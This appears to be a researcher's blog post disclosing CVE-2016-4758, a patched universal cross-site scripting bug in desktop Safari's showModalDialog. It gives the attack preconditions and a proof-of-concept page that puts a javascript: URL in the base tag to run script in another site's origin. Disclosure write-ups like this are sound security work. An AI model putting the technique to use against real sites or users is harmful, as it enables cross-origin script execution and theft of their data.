CVE-2016-4758: UXSS in Safari's showModalDialog
I would like to share about details of Safari's UXSS bug(CVE-2016-4758). This bug was fixed in Safari 10.
https://support.apple.com/en-us/HT207157
WebKit Available for: OS X Yosemite v10.10.5, OS X El Capitan v10.11.6, and macOS Sierra 10.12 Impact: Visiting a maliciously crafted website may leak sensitive data Description: A permissions issue existed in the handling of the location variable. This was addressed though additional ownership checks. CVE-2016-4758: Masato Kinugawa of Cure53
FYI, Mobile Safari is not vulnerable because it does not have the showModalDialog
method.
Preconditions for Attack
- The target page navigates to the relative URL using JavaScript. (e.g.
location="/"
,window.open("/","_blank")
) - That navigation is done after the completion of the page loading.
<script> function go_top(){ location="/index.html"; } </script> <button onclick=go_top()>Top Page</button>
This page's only purpose is that navigates to https://vulnerabledoma.in/index.html when the user click the "Top Page" button.
I think there are pages like that everywhere. But using this bug, we can do XSS attack in this conditions.
The Bug
showModalDialog
method.<script> function go(){ showModalDialog("https://vulnerabledoma.in/safari_uxss_showModalDialog/target.html"); } </script> <button onclick=go()>go</button>
(Side Note: This behavior exists in only the JavaScript navigation APIs. For example, the
<a>
tag and xhr.open("GET",[URL])
used the correct URL. )Developing XSS attacks
According to html5sec.org #42, Safari allows to set the javascript:
URL to the base tag. So, I thought that I might be able to XSS if I set the javascript:
URL to the base tag in the parent page.
And my assumption was correct. This is final PoC:
<!DOCTYPE html> <html> <head> <base href="javascript://%0Aalert%28document.domain%29%2F/"> </head> <body> <script> function go(){ showModalDialog("http://vulnerabledoma.in/safari_uxss_showModalDialog/target.html"); } </script> <button onclick=go()>go</button> </body> </html>
If it goes well, you can see an alert dialog when you click "Top Page" button, like the following screen shot:
Yay!
Conclusion
I wrote about Safari's UXSS bug. I reported this bug on June 15, 2015. This bug was living in WebKit for over a year after I reported.
If I find interesting bug, I'll share again :D Thanks!
referer:http://mksben.l0.cm/2016/09/safari-uxss-showModalDialog.html